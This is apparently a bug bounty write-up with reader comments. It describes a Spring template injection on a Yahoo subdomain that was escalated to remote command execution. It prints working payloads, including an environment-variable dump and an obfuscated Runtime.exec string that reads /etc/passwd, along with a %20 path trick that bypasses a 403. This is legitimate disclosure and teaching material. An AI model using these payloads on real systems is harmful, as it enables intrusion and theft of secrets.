This is write up in which I’ll explain a vulnerability I recently found, and reported through Yahoo’s bug bounty program. When testing the security of web applications, doing reconnaissance is an important part of finding potentially vulnerable web assets, as you can discover subdomains, directories, and other assets, that could increase the surface of attack. First, I did some subdomain discovery, using a combination online tools such as shodan.io, censys.io, crt.sh, dnsdumpster.com, and also scripts on github such as dirsearch, aquatone, massdns, etc. After using these tools, I came across the subdomain – datax.yahoo.com. I was interested in this subdomain, as the root directory would redirect to https://datax.yahoo.com/swagger-ui.html – and subsequently displayed a 403 error page.
I then ran a quick Dirsearch scan, to try and discover hidden directories. I’m not sure what the exact results were, but I noticed that the status code had changed from 403, to 200 when adding a space character to the url; https://datax.yahoo.com/%20/. I was then presented with the following page.
From here, I went through and tested some of the API endpoints to find potential vulnerabilities as an unauthenticated user. After going through a few endpoints, I came across the following endpoint, which displayed this white label error page, where the parameter values were reflected within the error:
Noticing the reflection of text, I tried some XSS payloads, but was not able to execute client side javascript successfully. However, when entering a payload such as ${7*7}
I was surprised to see that the arithmetic expression had been successfully evaluated within the response.
The reason for my surprise, was because of the evaluation of the multiplication expression, along with the requirement of the “$” character in the syntax to successfully evaluate the expression. This can usually indicate that some sort of template engine/server side evaluation is involved when processing the expression. After a bit more research, I had a few guesses to what template engine this host might have been using. After presenting the Yahoo! security team with what I’d found so far, I received confirmation from the Yahoo team that the template used was the Spring Engine Template, and they requested that I try and see what else I could do to escalate this. Since I was only able to do basic math with this, they wanted to see if I could pull some data from the server, in order for them to fully assess the impact. So as I did some more research to find a payload I could use to retrieve system information from the vulnerability, and found that the payload: ${T(java.lang.System).getenv()}
could be used to retrieve the system’s environment variables.
I then attempted to use the .exec method in order to execute the command “cat etc/passwd” to demonstrate that commands were able to be executed to pull data from the server using the .exec method. The payload was: ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
However, the command was only reflected in the response, and did not execute. I wasn’t sure why it didn’t work, but then came across another researcher’s blog post – http://deadpool.sh/2017/RCE-Springs/ , where he’d used Java’s concat() method to put together the ASCII numeric values associated to the characters used in the command. The final payload below was used to successfully use the execute the command cat etc/passwd:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
I didn’t want to include a screenshot to disclose the contents of this file. so to demonstrate, I will show the output of executing the “id” command using the same technique:
So far, I’ve had great experience with Yahoo’s bug bounty, and would recommend this program to other researchers based on how they handle, resolve, and value submitted reports. The total bounty for this was $500 upon validating the issue, and $7,500 a few weeks after its resolution, for a total bounty of $8,000.
Thank you for reading.
References
https://nvd.nist.gov/vuln/detail/CVE-2016-4977
http://secalert.net/#cve-2016-4977
http://deadpool.sh/2017/RCE-Springs/
Customizing whitelabel error page:
https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html
Great POC! which tool did you use to find those hidden parameters?
LikeLike
No tool, the swagger ui’s home page has api documentation and details all available endpoints and request parameters. Example: https://dev.fitbit.com/build/reference/web-api/explore/
LikeLike
which tool did you use to find those hidden parameters?
LikeLike
No tool, the swagger ui’s home page has api documentation and details all available endpoints and request parameters. Example: https://dev.fitbit.com/build/reference/web-api/explore/
LikeLike